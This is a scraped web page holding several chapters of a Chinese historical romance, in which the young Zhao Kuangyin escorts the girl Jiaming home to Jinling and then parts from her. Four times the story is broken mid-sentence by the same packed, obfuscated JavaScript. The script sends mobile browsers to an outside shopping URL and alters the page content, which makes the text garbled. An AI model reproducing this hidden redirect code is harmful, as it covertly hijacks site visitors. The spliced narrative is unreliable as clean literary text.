d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594429|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 峙。 胭脂虎陡见这么一个俊俏胆大的郎君来劫她的道,颇为不解:“你是哪家的公子哥儿,待在这路中间干什么?无事的话快快闪开,我可饶你一命!” 赵匡胤挑眉淡淡道:“不是你让施暗算的小贼站出来的么?” 胭脂虎这才知道对方来者不善,冷笑道:“你怕是没听过我的名头吧,现在求饶,大王我还能大发慈悲将你带上山当二房。瞧你这身皮肉还颇嫩,倒是很可大王的心!” 赵匡胤听了这般调戏也不恼,反倒顺着她的话道:“好啊,你要比武招亲也不是不行,打赢了,我就跟你走!” 比武招亲意思是单挑,胭脂虎全然没察觉自己已经中计,反还觉得这俏郎君十分爽利,更觉称心,大笑几声道:“先打过你大哥再说吧!” 她很自觉地命人将正室分身将扶起来,好帮自己收了这二房。分身将遭赵匡胤暗算憋了一肚子火,长枪指着赵匡胤道:“小贼,你下来,我与你打过!” 赵匡胤也不含糊,长枪对长枪,对方身法极快那便画地为牢,将银枪舞的犹如盘龙一般全无破绽。分身将几次三番皆不得近身,脚力渐变迟缓,稍有不济,被赵匡胤一枪·刺倒在地。 胭脂虎见自己罕逢敌手的压寨相公才撑不到三个回合就落败,惊喝一声举着双刀策马而来。 赵匡胤飞身上马,一枪横搠,从那冰凉的刀背之上掠过,枪过之后,胭脂虎只觉脖子疼,低头才发觉鲜血如水柱般喷涌而出,弥留之际暗暗道:“我一生自持刀法精妙,又掳了一个会使长枪的丈夫,本以为足够在这穷乡僻壤逍遥纵横,死到临头才知道什么叫天外有天枪法如神,当着可笑!” 匪徒们见首领死了,瞬间一拥而上,有些策马进了村庄,开始烧杀抢掠。赵匡胤大为紧张,也不知道嘉敏藏好了没有,逼退缠上来的悍匪策马回村。 山民们也早按照赵匡胤的吩咐,将米袋装满沙土堆在草谷场上。山匪们瞧见粮食就全都骑马聚过去,打算拿了就走。有山民点燃炮仗朝马蹄下面丢去,马匹受惊横冲直撞,连悍匪也治不住被摔的七荤八素,山民们拿着铁锹锄头一拥而上,两方人马打的不可开交。 恰逢南唐刚收复此地没多久,朝廷听说了此地的匪患,派兵前来剿抚。 为首的大将朝着村口的木门射了一箭朗声道:“吾乃都虞侯柴克宏,奉燕王李弘骥之命前来剿匪,尔等速速受死!” 李弘骥是南唐国主李璟的嫡长子,为人强悍有谋略,只是被外放在润州,并未继承太子之位。 赵匡胤见朝廷来了人马,料想此事已了,抱上嘉敏策马而去。 小石头看见他们离开,没想多久铆足了劲儿追上去,惹得爷爷在后面大叫:“小石头,你到哪里去!” “去保护嘉敏,我说过要一辈子保护嘉敏!”小石头稚嫩的声音回荡在乱兵和土匪之间,朝着那隐没在风尘的白马疾追而去。 7.玉蕊娇花 五月鸣蜩,六月季夏。 端午那天到了金陵,赵匡胤依照南人的风俗,给嘉敏穿新衣挂彩穗,又拜托店家的女儿替她采凤仙花染指甲,饮菖蒲露求百病除。 看着如花一般娇艳可爱的嘉敏,赵匡胤不觉惘然,一年多的辛苦跋涉总算送她到了家门口,可一想到近在眼前的分离,一颗心像被挖走了一块一样酸楚难当。 不知道嘉敏是否也是同样的感触,一直默不作声收拾东西,把衣裳都叠的整整齐齐,连同旧的小玩具一起包进包袱里。 看了一会儿,赵匡胤道:“嘉敏,等你回家了,爹娘肯定给你添置很多新衣,这些旧衣服就不必带了吧!” 嘉敏却使劲摇头,向来柔顺的她眼神带着少见的倔强:“这些都是赵哥哥给我买的,我回去以后还要穿,就算过几年长大了,也会当宝贝一样留着,绝对不会丢掉!” 看着她那双水汪汪的大眼睛,赵匡胤也做不到让她丢下这些过往,勉强笑着点头道:“那就带着吧!” 晌午,赵匡胤一手牵着马匹一手牵着嘉敏缓缓走进金陵城。此地乃南唐都城,繁华绮丽冠绝江南,而端阳节这天,家家户户都会在瓶中插上蜀葵、石榴、蒲蓬,妇女头上插艾叶和石榴花,号称“端五景”。百工也会停工,一起到酒馆畅饮,唤作“白赏节”。食肆中以菰叶裹黏米为粽,百姓会买来互相馈赠。 想着大约是两个人一起过的最后一个节日,赵匡胤买来两个粽子和嘉敏分食,嘉敏勉强吃了两口,小声问:“赵哥哥,送我回家以后,是不是就要分开了?以后的每个节日,你都不会陪我过了?”吧嗒吧嗒的眼泪落在粽子上,就再也吃不下了。赵匡胤也不吃了,投粽于河中,只把嘉敏抱在怀里好教她放声哭。 一路打听着来到周府门前,见那府邸果然富贵华丽不同凡响,想到嘉敏日后能过着锦衣玉食的生活,心下才略有些宽慰。 赵匡胤摸着她的头柔声道:“嘉敏,我们去敲门!” 话音甫落,大门从里面打开,齐刷刷出现二十几人。站在中间的周老爷、周夫人还有大小姐周娥皇全都是一副惊喜万分泫然欲泣的模样。 “嘉敏……嘉敏……”周夫人喊了两声,踉跄着走出来抱女儿。 “娘亲——”嘉敏跑过去抱住爹娘和姐姐嚎啕大哭,好像要把这一年来骨肉分离的苦痛全都哭出来。 周宗热泪盈眶:“听管家说在街上见着一个和嘉敏一模一样的小女孩,我们正要出门去找,嘉敏就回来了。真是老天有眼,我的宝贝女儿终于又回来了!” 嘉敏擦擦眼泪,又回头看着赵匡胤道:“是赵哥哥从三千里外的并州把我一路送回来的,因为我太小了,走的慢,又生了几场大病,所以走了一年多才到!” 周宗早注意到站在门外的少年郎,听女儿说是他千里相送才使得骨肉团圆,立马拉着夫人的手上前道:“这位公子,你对小女的大恩大德,我周家没齿难忘,快请过府一叙,好让周某为恩人接风洗尘!” 被一群人请进府中,周府上下,上至老爷夫人,下至管家仆婢全在厅堂里站着。 周宗领着全家拱手作揖:“我周家人在此拜谢赵公子!”说罢齐刷刷跪了一地。 赵匡胤忙上前搀扶:“周老爷,周夫人,二位乃是长辈,切不可行如此大礼,实在折煞晚辈!” 嘉敏清楚赵匡胤性情,娇声道:“爹,娘,你们可不可以不要这样待赵哥哥,他会不自在的!” 周宗想着此人既然能不顾千里之遥将幼小的女儿送回,定非凡夫俗子,自己用这繁文缛节来待他,当知不妥,遂连连点头:“好!好!那爹就只请赵公子喝酒,再听你们讲讲这一年多路上发生的事好不好?” 嘉敏登时笑靥如花,她有一肚子的话要讲给爹娘和姐姐说。 酒菜很快端上席,嘉敏绘声绘色讲着路上的经历。讲到自己在淮南出了水痘又疼又痒差点就死了,是赵匡胤没日没夜地抱着,请医问药才险险捡回一条命。 周家人倒吸了一口气,似痘疹这等重疾,能痊愈而且未见疤痕,照顾者付出了多大的辛劳可想而知,是以感激之情更深,周宗连敬了他三杯。再说滁州剿匪一事,其英武睿智赢了个满堂彩。 只是嘉敏毕竟是小女孩儿,不知避讳,连赵匡胤因盘缠用尽在码头做了两个月苦工的事都说出来了,好在少年人胸襟坦荡,也不介怀,更加令周宗暗暗佩服。 这么七七八八讲了大半天,宴席上的菜凉了就换新的,直到晚上,周夫人嘱咐嘉敏应该让赵匡胤早些去休息,没说完的话明天再说,这才止住。 客房早已准备妥当,门上和床头还挂着菖蒲叶飞蓬梗并桃枝蒜头,都是辟邪驱鬼用的。 赵匡胤躺在床上,想着嘉敏终于和亲人团聚,也自欣慰满足。不过此间事了,也该琢磨琢磨下一步的打算,七想八想的也就没有睡熟。 不多时响起了敲门声,嘉敏在外面小声问:“赵哥哥,你睡着了么?” 赵匡胤忙下床把门打开,“嘉敏,晚上冷,怎么穿这么薄就跑出来了?”说着把她抱进屋里。 嘉敏笑嘻嘻地递上一双袜子:“爹娘答应我把袜子补好送过来再睡!” 这袜子是他前两天穿破了的,嘉敏收着洗干净了补好,又给他送来。 “赵哥哥,我跟爹爹说明天想去街上逛逛,爹爹老大不放心,说除非你肯当我保镖,不然这几个月都不许出门,你陪我去好不好?”嘉敏央求,并不是自己多想去逛,只是害怕睁开眼睛赵匡胤就走了,连道别都没有。 赵匡胤点头笑道:“好!快些去睡吧,明天早上我叫你。” “那我走了!”嘉敏狠狠搂了一下他的脖颈,才跑回父母房里去。 天色未白,赵匡胤就起床练武,周家的院子很大,便于他施展手脚,一套拳法打的虎虎生威,看呆了府上早起洒扫帮厨的下人。只是他对这一切浑然未觉,待打完一套拳才发现廊檐下站满了人,嘉敏拍着手大声叫好,周宗捻须哈哈大笑,又是一个满堂彩。 早膳是碧粳粥小笼包和小菜,两人吃完了就由管家带着出去逛街。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618873|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 金陵城的主城乃是台城,是南唐皇宫所在地,巍峨壮观不可逼视。嘉敏家里住在东府城,亦是豪门巨富之所在,大半的店铺开在这里,热闹非凡。而西边的西洲城因遍植莲花,风景最佳,为风雅人士聚会和少女游乐之场所。 第一天嘉敏带他逛街市,采买东西甚多,还偏要买新衣服给他。 赵匡胤虽生的英气逼人,眉眼之间却颇为俊秀,换上一身南朝士大夫家公子哥的打扮,一路上不知引来多少人侧目。 老管家打趣道:“赵公子这个样子在金陵城转上一圈,保不齐明天咱们周家的门槛就要被人给踏破了。” 赵匡胤尴尬地道:“周管家莫要取笑!” 嘉敏早已逛累,被赵匡胤抱着,不解地问:“赵哥哥这样不好看吗,为何有人要去踏破我们家的门槛?” 管家笑道:“就是因为太俊俏,被这街上有闺女的人家相中,明天一大早就央求人上门说亲,人太多了,是不是门槛就被踏破了?” 嘉敏认真观察四下,果然有不少漂亮姐姐以团扇掩面,看着赵匡胤痴痴发笑,遂眨眨眼睛道:“有这么多人想嫁给赵哥哥,那我也要嫁!”说罢抱住赵匡胤的脖颈,一副生怕他被人抢走了的样子,还越抱越紧。 赵匡胤哭笑不得,佯嗔道:“你才这么点大,什么嫁不嫁的,可不许胡说!” 嘉敏哪里在乎这些,一本正经辩驳:“可我过几年就长大了,等我长大了就嫁给赵哥哥!” 她的声音又脆又亮,一下子很多人都听到了,纷纷投来好笑的目光。 赵匡胤尴尬无比,正色道:“嘉敏,这是在大街上,莫要再这般惹人笑话!” 嘉敏气呼呼地抱住他的脖颈撒娇:“我不管……不管……我就要嫁给赵哥哥!” 老管家想着这赵公子虽然模样出挑一身本领,可毕竟出身寒微,与司徒府大不相配,未免心下觉得可惜,面上笑道:“赵公子,天色已晚,我看小姐也逛累了,不如早些回去,以免老爷和夫人惦记!” 赵匡胤点头,琢磨着嘉敏这半日走了许多路,便也不舍得她走路,直接抱回去,嘉敏在他怀里就睡着了。 到家以后,周夫人想要接过来,嘉敏依旧搂着赵匡胤不放,迷迷糊糊地说:“娘,我今晚要和赵哥哥睡!” 一年多未见爹娘,路上全凭赵匡胤的照顾,眼下只怕这赵哥哥比爹娘还亲。 周夫人无奈哄道:“你逛了一天,澡也没洗就这么睡么?娘先抱你去洗澡好不好?” 嘉敏这才勉强答应,晚上还是被哄着和爹娘一起睡了,不过不怎么踏实,做梦也梦见赵匡胤走了,半夜抽抽嗒嗒地哭。 周宗想了片刻安慰女儿道:“嘉敏莫哭,爹爹明天去和赵公子说,就说你姐姐下个月出阁,你哥哥外放广陵任职,无兄长相送,拜托他暂担兄长之职,送你姐姐出阁可好?” 如此一来就能多留他半月了,嘉敏听罢这才止住哭泣,迷迷糊糊地睡去,嘴里却说起了梦话:“赵哥哥,你不要娶别人,娶嘉敏好不好?” 8.山海之约 翌日赵匡胤依旧早起,练的还是昨天那套拳法,只是瞧起来似乎威力更甚。 周家累世公卿多为武将,而今府上又有一位这般拳法如神的客人,连周宗自己也看的入了迷。 赵匡胤心无旁骛,全然不知他已在廊檐下注视很久,待练完周宗乐呵呵地夸赞:“匡胤,你可真是英雄出少年啊!” “周老爷过奖!”赵匡胤略觉尴尬,嘉敏乖巧地递过手帕给他擦汗。 周宗摆手笑道:“哪里是过奖,不过是匡胤你谦虚罢了!以后也不要周老爷周老爷的叫,凭你待嘉敏的情谊,你我也不该这般生疏,不嫌弃的话,叫我一声‘伯父’可好?” 周宗为人谦和,虽身居高位,却没什么官架子,对小辈更是慈爱,又是嘉敏之父,赵匡胤当下便叫了伯父。 “爹,你不是有话要对赵哥哥说吗?”嘉敏脆生生地道,满脸皆是期待。 周宗咳嗽两声,其实在他看来此事托于赵匡胤略有些勉强,少年任侠江湖乃是想要找一方天地施展拳脚,如今已经为嘉敏耽搁了一年多,再寻由头留人长住未免有些不妥,可为了宝贝女儿也只好腆着老脸把事情说出来。 赵匡胤听罢眉宇之间略露迟疑,可看见嘉敏那双清澈无邪的眼眸竟也无法拒绝,点头答允。 嘉敏开心地跳到他怀里,被他抱起,“赵哥哥,虽说半个月的时间不算短,可你不要怕无聊,我带你逛金陵城,划龙舟拜菩萨摘花纳凉听鼓书,若是觉着无趣,还可以玩叶子戏,姐姐说我玩儿的可好了!” 这些都是小女孩儿的游戏,赵匡胤听着好笑,却也愿意陪着嘉敏这般嬉耍,真的去划了龙舟拜了菩萨。 嘉敏说鸡鸣寺的菩萨很灵,两个人跪在佛前许愿,赵匡胤突然睁开眼,感觉自己似乎无愿可许,若真有的话,那便是盼望嘉敏一生平安顺遂快乐无忧。 南唐的鼓书也很好听,把曲子串在一起唱,其中有一首《渔父》,词曲是这般唱:浪花有意千重雪,桃李无言一对春。一壶酒,一竿纶,快活如侬有几人? 乍听之下觉得意境甚美,细想片刻却笑着摇头。 嘉敏瞧着古怪,问道:“赵哥哥,这曲子不好听么?” “好听!”赵匡胤把剥好的桔子递给她道:“只不过是觉得这曲中的渔父一定不是个普通的渔父,大概是个富贵人家的公子,衣食无忧跑到江上去懒散度日才觉得快活。真正以打鱼为生的人大多一生都为三餐发愁,哪里谈得上快活?” 经过一年多颠沛流离的生活,嘉敏对民间疾苦多少也有些了解,笑着道:“你猜对了呢!这曲子是郑王所作,也就是过几天要娶我姐姐的那位六皇子。爹爹常说六皇子甚好,若能一辈子当个闲散王爷,姐姐跟了他定能荣华富贵安稳一生。” 赵匡胤点头,这世上怕是没有比富贵闲人更教人艳羡的,也不知道嘉敏将来的夫君能不能也给她这样富足安稳的生活。 周娥皇的未婚夫正是当朝皇帝第六子郑王李从嘉,少而聪慧,工书画,尤擅作词。周家对这场婚事很是满意,自己女儿生的端雅明艳,于音律歌舞造诣颇深,合该配一个这般惊才绝艳的夫君才是。 出阁那日排场甚大,银楼金粉十里红妆,大半个金陵城的人都跑出家门前来观礼。 赵匡胤按照约定以兄长之礼送其上婚车,自己也和嘉敏并周氏夫妇一起去往皇宫参加喜宴。 婚礼仪程颇为繁琐,好在他不是什么重要的亲眷,而嘉敏又是个小孩,两个人干脆在皇宫里随意游逛。 嘉敏追着一只野兔跑,实在追不上,赵匡胤捡起一颗飞石将其拿下。 那顿烤兔子是自打回了金陵之后吃到的唯一一次,因为御花园内不能生火,没吃完就被宫人发现,只得丢下匆匆跑开。 婚事办完又快到嘉敏生辰,周家又以此留他,赵匡胤本也有这般打算,就欣然同意了。 最开心的当然还是嘉敏,她的生辰在六月,正是江南水乡荷花盛开曼舞莲歌的绝美季节,只是热了些。好在嘉敏早准备了上好冰绡做的衣裳给赵匡胤穿,府上也常备消暑的新鲜瓜果,纳凉的去处也多,倒不如何焦躁。 “赵哥哥,今天我们去西塘莲乡采莲子和新藕!”嘉敏说着,拉他去了西洲城的南塘荷花浦。 荷叶田田恍似碧玉一样铺满水塘,嫣红的荷花带着露水也自娇艳夺目,划着莲舟身入其中,像是去了飞尘不到的仙界一样。 嘉敏吹着一支碧玉短笛,正是在江南常听到的采莲曲,只是吹了一小段就停下来,眉心轻蹙,似有说不出的忧愁。 赵匡胤划着莲舟笑问:“嘉敏,怎么不吹了?” “我想明日下厨做几样小菜庆贺生辰,爹爹说如果没有赵哥哥,嘉敏想来已无生辰可过,所以明天一定要好好感谢赵哥哥的再生之恩!”嘉敏今年六岁了,她自小心灵手巧,又很懂事,在路上那一年多也开始学着照顾人,想着以后定要让赵匡胤吃到她所做的东西,所以这段时间也悄悄下厨学了些皮毛。 赵匡胤听罢却怏怏不乐,皱眉道:“嘉敏,以后不要再把恩情挂在嘴边,赵哥哥不希望你我之间是什么恩人的关系,你永远都是我最疼爱的小妹妹,好不好?” 嘉敏半懂不懂,眨眨眼问道:“嘉敏是小妹妹的话,那等赵哥哥以后成了亲是不是就只陪着嫂子,不再理会嘉敏了?听管家说最近家里还真来了不少说亲的人!” 赵匡胤哭笑不得:“赵哥哥还不想娶亲呢,这些事情等你长大以后再说,小孩子就不要七想八想的,尽是些稀奇古怪的念头。” 嘉敏难过地低下头小声道:“赵哥哥是不是害怕嘉敏伤心,所以不敢说真话?等你以后娶了嫂子,自然是只会疼嫂子一个人了!” 风乍起,将碧玉一样清澈湖水吹皱,听了嘉敏的疑虑,赵匡胤正色道:“不会!嘉敏,你听着,不管时间过去多久,赵哥哥绝对不会疼爱任何一个人,超过疼爱嘉敏!” 虽说此刻的他待嘉敏也只是像一个小妹子一般,可却也想不到日后还有谁能在一年多的时间里与他朝夕相处日夜不离,能让他这般千呵百护捧在手心里,放在心尖上。就算以后娶了妻子,想来也无法冲淡他对嘉敏的情谊。 嘉敏深知赵匡胤绝不会说谎话骗自己,心底犹如喝了蜜糖一般,快乐地伸出小拇指拉勾约定。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651488|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这天采了许多莲子和新藕,嘉敏又累的睡着了,被赵匡胤抱回来。 想着第二天是女儿生辰,周宗和夫人早早起床忙碌,各自为女儿准备了上好的礼物,连周娥皇也回家来给妹妹贺寿。 本以为会是平静的一天,可赵匡胤刚睁开眼,就听到院子里乱哄哄的,一堆人喊着嘉敏的名字。 难道嘉敏又丢了么? 赵匡胤猛地起床,打开门就随着众人在院中焦急地寻找着,找到一株梨树下,嘉敏突然从上面探出头来唤道:“赵哥哥——” 原来她竟是爬上树摘梨子去了,那粉嫩的脸上还挂着汗珠。 “这树太高了,我爬上来又不敢下去!”嘉敏委屈巴巴地道。 赵匡胤笑道:“别怕,跳下来,赵哥哥会接住你!” 话音落,嘉敏就抱着梨子跳下来,安稳地落在他怀里。 周夫人跑过来问道:“嘉敏,你什么时候学会爬树的,有没有伤到哪里啊?” 嘉敏偷偷瞄了赵匡胤一眼,两人相对抿嘴笑,自然是这一年多在路上学会的本事了! 周府开大宴,却只请了赵匡胤一个客人,嘉敏一身绫罗襦裙,头戴珠钗,腰间挂着环佩,清妍娇俏恍似天宫里的小小仙娥。 一时间赵匡胤也不知道是盼她长大,还是怕她长大。若她日后长成了那倾国倾城闭月羞花的模样,自己自然十分欢喜,可又害怕这般容貌无双的妹妹会被登徒浪子惦记,当真也是恼人。 周宗殷勤劝酒:“今日虽说是为嘉敏敬贺寿辰,却也是为匡胤设的宴。倘若嘉敏不是遇见了你,我们一家人怕也再无团聚之日。匡胤,伯父敬你!” 赵匡胤举起杯盏,甚为谦恭地饮下。 席间嘉敏来来回回亲自从厨房里把自己做的菜端上来,“这个是桂花糖藕,我今天早上做的。” 江南人爱吃甜,赵匡胤本是吃不惯,可嘉敏亲自做的糖藕色白如玉,香气馥郁,也禁不住尝了一口,竟是十分好吃。 嘉敏瞧着欢喜,又把第二道菜雪梨莲子汤端上来,“嘉敏知道赵哥哥不爱吃甜,可是会做的只有这些简单的东西。”言语之间颇有些抱歉。 赵匡胤笑着摸摸她的脸颊,把一碗雪梨莲子汤喝的涓滴不剩。 嘉敏笑靥如花,娇声道:“还有第三道菜,不是甜的,现在应该出锅了,等我去拿来。” 她这些菜是独做给赵匡胤吃的,分量都不多,可对一个六岁的小女孩儿而言,已经相当心灵手巧了,众人乐呵呵看着,不知道那第三道菜是什么。 待嘉敏拿上来,纷纷笑起来。 “这道菜叫山海兜,是把山珍和海味一起装进绿豆皮衣里。爹爹说赵哥哥乃是个心胸装得下山海的大丈夫,有四方之志,嘉敏做这道菜,希望赵哥哥·日后能够飞黄腾达直上青云,能把山海都装进衣兜里!” 赵匡胤连连点头,见嘉敏如此心灵手巧冰雪聪明,想到将要与她分别,心中不由一酸,夹起那造型别致的山海兜,情不自禁道:“若能把嘉敏装在兜里带走,便是不装山海也罢!”语毕尝了一下那山海兜的滋味,微笑称赞:“好吃!” 9.河汉之隔 生辰宴亦是离别宴,周娥皇早受到父亲的示意,宴席末尾把嘉敏带出去玩儿,只说父亲要陪着赵公子饮酒,她一直在场,又是一副想要哭鼻子的模样,岂能让他们喝的尽兴?嘉敏想着不错,就随着姐姐离开了。 周宗这才又和赵匡胤喝了几杯,一边道:“匡胤久未归乡,原是不该再耽搁这么久,可是嘉敏舍不得你,我这做父亲的也只好腆着老脸一味留你。而今生日也过了,再找不着借口喽!” 赵匡胤蹙眉道:“其实我又何尝舍得嘉敏!”说罢无限惆怅地自饮了一杯,甚至有些希望周氏夫妻并非嘉敏的生身父母,这样他就能不用把她留下了。 周宗这些天观察赵匡胤的品性,只觉他虽出身寒微,却是个难得的将才,心想若他生在南国,有自己的推荐,日后出将拜相也并非全无可能,届时再考虑把嘉敏许配的事,就两全其美了。可偏偏他是北人,父亲又在北朝当武将,日后之事怕是难以预料,不免心里很是惋惜,叹息道:“匡胤,你随我来书房一趟可好?” 赵匡胤虽觉诧异,然则客随主便,也不多言跟着去了,周夫人和管家早已守在那里。 周宗也不是拖泥带水之人,直接道:“你明日要走,我们实在不知道如何相谢,略备些薄礼,希望匡胤你不要嫌弃!”说罢将管家手捧之物的红绸揭下,竟是千两黄金整齐地摆着。 赵匡胤脸色一变,沉声道:“周老爷、周夫人,这是何意?” 夫妇二人见他动了怒,皆有些紧张,赵匡胤将衣袖一拂,冷冷道:“二位当知我送嘉敏回来并非贪图她是司徒家的千金,就算她爹爹只是个寻常农夫,此事赵某也做得!若二位是害怕赵某寒微之身,深恐将来挟恩与嘉敏纠缠不休,大可放心,赵某日后不再登门便是!” 周宗立马慌了神,赔礼道:“匡胤,你莫要动怒,此事是老夫糊涂,我知道你待嘉敏的情谊实非黄金这等俗物可比!这一路上你待她有千般好,自己穿粗布衣服却给她穿绫罗绸缎,明明盘缠所剩不多还要买十两银子一斤的糕点给她吃,更别说她生病时候的呵护照顾了。你不要这黄金老夫收起来就是了,可千万别说日后不再登门这种话,若是给嘉敏听了去,不知道会如何伤心!” 赵匡胤也觉失言,忙道:“是匡胤话说的太重了,请二老莫怪!若二老当真过意不去,不如把嘉敏这些日给我买的衣裳礼物什么的让我带走,那些花的也是周府的银钱,算是两位给的谢礼也不错。” 二老听罢直点头,但是周宗却道:“这黄金我可以不送,但你叫我一声伯父,我送你几百两银子做盘缠总不过分吧!”见他还欲推辞,正色道:“匡胤,你今年不过才一十九岁,又是条磊落的汉子,我倒是不怕你会把自己饿死,可你如何能保证出门在外能够万无一失?必要时钱财可以救命!这个时候就别当作是馈赠了,你想想嘉敏,想想你以后还要不要再见她?如果你一分盘缠不带就上路了,是等着她哭哭啼啼来求你收下这些银两么?” 其实周宗也从嘉敏透露的只言片语里听过赵匡胤的身世,他不被母亲所喜欢,甚至连让他死在外面的话都说出来了,此番离去之后大约跟无家可归也差不多。若他当真一点财物也不收就离开,那叫女儿来哭一哭这等事周宗也做得出来。 赵匡胤无奈,“既然二老如此坚持,我收下便是了!”想了想又道:“我离开的事还请二老暂时对嘉敏保密,明早天亮之前悄悄启程便是了,若嘉敏前来相送,我只怕……” 二老明白他的意思,莫说到时候嘉敏哭闹不休,只怕赵匡胤也难割舍,还走不走得了当真也不大好说。 黎明时分,周氏夫妇和管家打开门悄悄送别赵匡胤。 周宗见他白马银枪风神俊朗,眉宇间的英气遮也遮不住,禁不住道:“匡胤,嘉敏的命是你救的,若等她大些,依旧对你念念不忘,你便再回来瞧瞧她。”此话讲的甚为含蓄,也不知赵匡胤听懂了几分。 赵匡胤点头,“匡胤拜别二老、管家,若日后有缘,自当再度登门拜访,诸位请留步吧!” 刚走下台阶,身后突然响起嘉敏的声音:“赵哥哥——” 赵匡胤呆住,不知嘉敏为何这么早就醒了,还知道到门口来找他。 “赵哥哥,你不和嘉敏告别,是不是害怕嘉敏会哭闹缠着不让你走?嘉敏不哭,只好好和你告别好不好?”衣着单薄的嘉敏从门里走出来。 打从听到她的声音开始,赵匡胤的眼泪就掉了下来,此刻也不想再遮掩,回过头抱住了跑向他的嘉敏。 嘉敏强忍着泪水,过了许久才道:“昨天姐姐叫我出去,我便想着赵哥哥是要和爹爹他们作别,晚上就没有睡的很熟。嘉敏回家了,赵哥哥自然也要回家,嘉敏绣了个荷包想要送给赵哥哥当临别的礼物,可是还没有绣完。”说着把荷包取出来,上面丝线绣的红色莲花尚且只有一半,“赵哥哥你先带着吧,等哪一天再见了,嘉敏一定送你一个绣好的荷包。” 赵匡胤点头不言,把荷包贴着里衣放在心口。 嘉敏忍着哽咽小声问:“赵哥哥还会回来看嘉敏吗?”她很害怕答案是不会。 赵匡胤又是点头,柔声哄道:“赵哥哥答应你,每年你生辰,只要我赶得来就一定来,就算来不了,也一定想办法送书信和礼物给你好不好?” “那……可以多写一些书信吗?”嘉敏小声问,恐一年只收到一封太少了。 “我一个月写一封书信给你好不好?”赵匡胤思量着轻声道:“不管以后身在何方,必定每月都写书信给你,可嘉敏也要听话,千万不要再丢了,别让赵哥哥来金陵的时候找不到你好不好?” 嘉敏用力点头,“嘉敏一定乖乖听话,等着赵哥哥回来!不管等多久,嘉敏都等在这里哪儿也不去!” 两人抬手拉勾,周宗虽不舍得将他们分开,可又恐耽搁了赵匡胤的行程,上前把嘉敏抱起来道:“匡胤,时辰不早,你且去吧,不管什么时候回来,我周家的大门永远为你开着!” 事已至此,就算万般不舍也只得舍下,赵匡胤又向众人作揖告别,翻身上马,扬鞭离去那一刻,听得嘉敏在身后嚎啕大哭,大声叫着:“赵哥哥——” 赵匡胤忍痛没有回头,少年任侠仗义,起初大约只是心头一热,想要把与家人离散的小女孩好好送回家中,却不曾想到这份情谊会如此之深,绝尘而去的每一步都伴着嘉敏的哭喊,也伴着他心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665747|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如刀绞的难过与不舍。 山长水亦阔,明日又天涯。此生此世,他的心头只怕再也割舍不下这娇娇弱弱的小女孩了。 天若有情,便教他们来日再重逢吧! 离开金陵之后,赵匡胤奔走复州,投奔父亲的旧同僚防御使王彦超,对方听说只是个未及弱冠的黄毛小子,便命人拿些钱财打发他了事。 无奈之下,转投随州刺史董宗本,可与董之子不睦,只得离开。 而后在襄阳的一座山寺中暂时借居,期间读了不少兵书,还与一个故人下了一个月的棋。 那须发皆白的陈抟老祖依旧是乐呵呵的,嘴上全无修道之人的清净,一张口就荤素不忌肆意调侃:“你说你一个年纪轻轻的俊俏小伙子,不好好回家娶媳妇过日子,整天跟我一个老道士厮混在一起,简直是岂有此理!” 赵匡胤一边下棋一边道:“你也知道我年纪尚轻,不似道爷你岁数一大把还是个童子之身,你都不急我急什么?” “你跟道爷我在一块儿,别的没学会,脸皮倒是厚了不少!”陈抟老祖一副恨铁不成钢的样子,“怎么,年轻人受了几次打击就看破红尘,准备和道爷我一起遁世隐居,就这么消磨一辈子光阴?” “可别!道爷你若是长的花容月貌,我还可勉为其难忍上一忍,可你这副尊容实在是教人忍无可忍,我就算是想要遁世隐居,也犯不着跟你在一块儿,你说是不是?”赵匡胤依旧低眉下棋,全然不顾陈抟老祖那满脸溅朱的模样。 陈抟老祖噎了半晌,忽而心平气和地道:“花容月貌的女子自然谁都喜欢,就拿你那嘉敏妹妹来说吧,我替她算过,她的姿容怕是举世无双,连她那倾国倾城的姐姐大约也逊色一筹。” 听他提到嘉敏,赵匡胤的心绪瞬间乱掉,差不多大半年了,只收到过嘉敏的一封书信,说是绣坏了十几个荷包,正着恼不知何时才能学会针线女工。 不知不觉想了许多,以黑子敲着棋枰缓缓道:“嘉敏的容貌将来就算当了皇后也不为过!” 